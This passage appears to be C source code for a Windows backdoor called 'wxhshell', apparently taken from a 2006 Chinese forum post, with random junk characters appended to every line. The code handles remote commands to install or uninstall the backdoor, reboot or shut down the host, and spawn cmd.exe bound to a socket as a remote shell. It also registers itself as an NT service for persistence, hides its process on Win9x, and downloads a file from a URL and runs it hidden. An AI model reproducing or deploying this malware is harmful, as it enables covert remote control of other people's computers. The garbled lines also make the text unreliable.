      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !~}@Eoii4  
    break; r{Z4ifSl(  
  } mr XmM<  
  // 安装 i%r+/D)KvG  
  case 'i': { (+bt{Ma  
    if(Install()) hx}X=7w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9%?a\#C  
    else ,Q+.kAh !G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h,i=Y+1  
    break; 2)|G%f_lS  
    } Okd7ua-f  
  // 卸载 *Ud P1?Y  
  case 'r': { gt(!I^LHYc  
    if(Uninstall()) Gmmh&Uj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [5MV$)"!j  
    else [85tZr]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %?O$xQ.<  
    break; {jEEAH)  
    } &f/"ir[8i  
  // 显示 wxhshell 所在路径 wQOIUvd  
  case 'p': { OT3~5j1[  
    char svExeFile[MAX_PATH]; \8Yv}wQ  
    strcpy(svExeFile,"\n\r"); #nS crs@  
      strcat(svExeFile,ExeFile); 9f3rMPVh(  
        send(wsh,svExeFile,strlen(svExeFile),0); +!-U+W  
    break; !<5Wi)*  
    } 4 :M}Vz-  
  // 重启 TmLfH d  
  case 'b': { G;^,T/q47  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N9PEn[t@  
    if(Boot(REBOOT)) yO J|t#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j =PM]  
    else { 6LzN#g  
    closesocket(wsh); g_(O7  
    ExitThread(0); w+{ o^ O  
    } ,+'VQa"]  
    break; "bvob G  
    } {6>:= ?7]R  
  // 关机 Pt7yYl&n7^  
  case 'd': { _j\ 8u`^n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AXPdgo6  
    if(Boot(SHUTDOWN)) XWUi_{zn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X[1w(dU[  
    else { ##yH*{/&  
    closesocket(wsh); zQsW*)L  
    ExitThread(0); RnUud\T/  
    } hJ*#t<.<P;  
    break; >d^DN;p  
    } d PF*G$  
  // 获取shell _#6*C%ax  
  case 's': { 6'1Lu1w  
    CmdShell(wsh);  ^J& }C  
    closesocket(wsh); '6f)^DYA'?  
    ExitThread(0); Zy^ wS1io  
    break; m/aA q8  
  } OCWyp  
  // 退出 d'e\tO  
  case 'x': { oSkvTK$ &i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1 o\COnt  
    CloseIt(wsh); ~4`3p=$  
    break; bHioM{S  
    } RWXN  
  // 离开 +qM2&M  
  case 'q': { NrfAr}v'E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g,\O}jT\'  
    closesocket(wsh); &nwk]+,0W#  
    WSACleanup(); 6G>loNM^  
    exit(1); I\$?'q>  
    break; wI#R\v8(`n  
        } .;%`I  
  } Gs(;&fw  
  } /*m6-DC  
(*V:{_r  
  // 提示信息 Eyg F,>.4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v=?/c-J*  
} 7y=1\KW(  
  } CjmF2[|  
OBnvY2)Ri  
  return; uB+ :sX-L  
} XOPiwrg%p  
]?0]K!7Ea  
// shell模块句柄 n<DZb`/uHZ  
int CmdShell(SOCKET sock) J?qikE&  
{ !'kr:r}gg  
STARTUPINFO si; ;^  YpQP  
ZeroMemory(&si,sizeof(si)); u'Z^|IVfo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kd7Lpw1u]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [g$IN/o%  
PROCESS_INFORMATION ProcessInfo; BYb"[qPV  
char cmdline[]="cmd"; J''lOj(@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \NQ[w7  
  return 0; 7$Pf  
} -n6e;p]  
VN]"[  
// 自身启动模式 XiAflO  
int StartFromService(void) :hDv^D?3  
{ 71,GrUV:  
typedef struct 'L G )78sk  
{ ;! #IRR  
  DWORD ExitStatus; X-cP '"  
  DWORD PebBaseAddress; s mqUFo  
  DWORD AffinityMask; ?fNUmk^A<  
  DWORD BasePriority; G-Zn-I  
  ULONG UniqueProcessId; ,o [FUi(#@  
  ULONG InheritedFromUniqueProcessId; dG}*M25  
}   PROCESS_BASIC_INFORMATION; k~=P0";  
_ IlRZ}f  
PROCNTQSIP NtQueryInformationProcess; 9oj0X>| 1  
G PL^!_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G( #EW+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !r9~K^EI  
*!`bC@E  
  HANDLE             hProcess; y+$a}=cb0  
  PROCESS_BASIC_INFORMATION pbi; Ba9"IXKH  
}C5Fvy6uz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /_tN&[  
  if(NULL == hInst ) return 0; YG6Y5j[-X~  
HK`r9frn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pzxlh(a9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,A>cL#Oe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F-2Q3+7$  
/D;cm  
  if (!NtQueryInformationProcess) return 0; CiIIlE4  
:<xf'.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H=*2A!O[_  
  if(!hProcess) return 0; >* ]B4Q  
,-1d2y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M0woJt[&  
q`HK4~i,  
  CloseHandle(hProcess); $QaEU="Z  
BXUd i&'O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "tmr s_~  
if(hProcess==NULL) return 0; JgcMk]|'  
'o1lJ?~kH  
HMODULE hMod; z"V`8D  
char procName[255]; d@ tD0s  
unsigned long cbNeeded; 1c:/c|shQ_  
UX)QdT45Mh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2o~UA\:+=  
e(jD[q  
  CloseHandle(hProcess); "_ON0._(/  
z#+Sf.  
if(strstr(procName,"services")) return 1; // 以服务启动 W ZW:q  
EP6@5PNZ  
  return 0; // 注册表启动 KZ|p_{0&  
} &}VVr  
,/UuXX  
// 主模块 ab*O7v  
int StartWxhshell(LPSTR lpCmdLine) [`bA,)y"  
{ AnQUdU  
  SOCKET wsl; ?r^>Vk}  
BOOL val=TRUE; *ub"!}$st  
  int port=0; c1g'l.XL 3  
  struct sockaddr_in door; (_eM:H=e>  
>%85S>e  
  if(wscfg.ws_autoins) Install(); U6~79Hnt  
(o1o);AO  
port=atoi(lpCmdLine); K]ds2Kp&  
Sh7ob2  
if(port<=0) port=wscfg.ws_port; C59H| S  
*%2,= p  
  WSADATA data; ?P Mi#H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3q`Uq`t4mR  
57:27d0y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ! $fF3^8-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4JGU`L:~  
  door.sin_family = AF_INET; )D ':bWP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h~k+!\  
  door.sin_port = htons(port); _j|U>s   
HvW6=d(#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FyRr/0C>  
closesocket(wsl); J%8hf%! ud  
return 1; l,ra24  
} c~ Q 5A  
I3dUI~}u  
  if(listen(wsl,2) == INVALID_SOCKET) { ='fN xabB  
closesocket(wsl); 1|5TuljTd  
return 1; ]wV_xZ)l^A  
} +}NQ |y V  
  Wxhshell(wsl); zO3}c3D~q  
  WSACleanup(); "Fqrk>Q~  
M/jdMfU  
return 0; 42wZy|oqp  
H2E'i\  
} xWKUti i  
PfJfa/#pA  
// 以NT服务方式启动 Tywrh9[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) els71t -  
{ DcEGIaW  
DWORD   status = 0; )4  'yI*  
  DWORD   specificError = 0xfffffff; 9f$3{ g{m  
{EVHkQ+o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CMHg]la  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p\r V6+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W";Po)YC  
  serviceStatus.dwWin32ExitCode     = 0; WRN}>]NgQ  
  serviceStatus.dwServiceSpecificExitCode = 0; GD#W=O  
  serviceStatus.dwCheckPoint       = 0; {D4N=#tl  
  serviceStatus.dwWaitHint       = 0; / 2h6  
L$=a,$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ux>LciNq  
  if (hServiceStatusHandle==0) return; TJkWL2r0c  
qQCds}<w  
status = GetLastError(); Z/b,aZhB  
  if (status!=NO_ERROR) B-tLRLWn   
{ ^-7-jZ@jz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [};?;YN  
    serviceStatus.dwCheckPoint       = 0; wW0m}L  
    serviceStatus.dwWaitHint       = 0; >TS=tK  
    serviceStatus.dwWin32ExitCode     = status; |=EwZ mj-c  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1Ewg_/R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~}s0~j~  
    return; );fPir?+  
  } Hu$JCB-%  
wy?Hp*E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @gihIysf  
  serviceStatus.dwCheckPoint       = 0; qim|=  
  serviceStatus.dwWaitHint       = 0; 5S&^mj-9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uN(N2m  
} k:CSH{s5{  
I7jIA>ZZi  
// 处理NT服务事件,比如:启动、停止 'jBtBFzP-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Sigu p#.p  
{ !4mAZF b  
switch(fdwControl) |@*   
{ UymhBh  
case SERVICE_CONTROL_STOP: QjyJmW("Z  
  serviceStatus.dwWin32ExitCode = 0; jN2Xoh9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ()yOK$"  
  serviceStatus.dwCheckPoint   = 0; <"x *ZT  
  serviceStatus.dwWaitHint     = 0; Owm2/  
  { ;Yn_*M/*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P !~B07y  
  } jQ5FvuNOy  
  return; @1)C3(=A  
case SERVICE_CONTROL_PAUSE: 7kQ,D,c'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -|_io,eL;  
  break; mcSZ1d~,(  
case SERVICE_CONTROL_CONTINUE: gBE1a w;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <& =3g/Y  
  break; gYfOa`k  
case SERVICE_CONTROL_INTERROGATE: E1Rz<&L  
  break; ;V)94YT  
}; 0coRar?+b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d(6&kXK  
} zK&J2P`  
K${CHKFf  
// 标准应用程序主函数 u %&4[zb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~,reS:9RZ  
{ {aWfD XB1  
I}1<epd ,  
// 获取操作系统版本 }3y Q*<  
OsIsNt=GetOsVer(); Ui;PmwQc&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zz56=ZX*_  
D}EH9d  
  // 从命令行安装 (JeRJ4  
  if(strpbrk(lpCmdLine,"iI")) Install(); j0IuuJ+  
5c3&4,,eR  
  // 下载执行文件 "aeKrMgc6V  
if(wscfg.ws_downexe) { }o9(Q8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [N guQ]B.  
  WinExec(wscfg.ws_filenam,SW_HIDE); <N\#6m  
} / lN09j  
EO \@#",a  
if(!OsIsNt) {  Fs1ms)  
// 如果时win9x,隐藏进程并且设置为注册表启动 vKNxL^x  
HideProc(); ?iNihE  
StartWxhshell(lpCmdLine); Pna2IB+  
} =s[P =dU  
else ekO*(vQ~  
  if(StartFromService()) vA, tW,  
  // 以服务方式启动 ($:JI3e[;  
  StartServiceCtrlDispatcher(DispatchTable); =/F\_/Xw  
else S[o R q  
  // 普通方式启动 xm}`6B^f  
  StartWxhshell(lpCmdLine); ^W<uc :L7  
|Xa|%f  
return 0; K6z-brvw "  
}
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只看该作者 1 发表于: 2006-10-10
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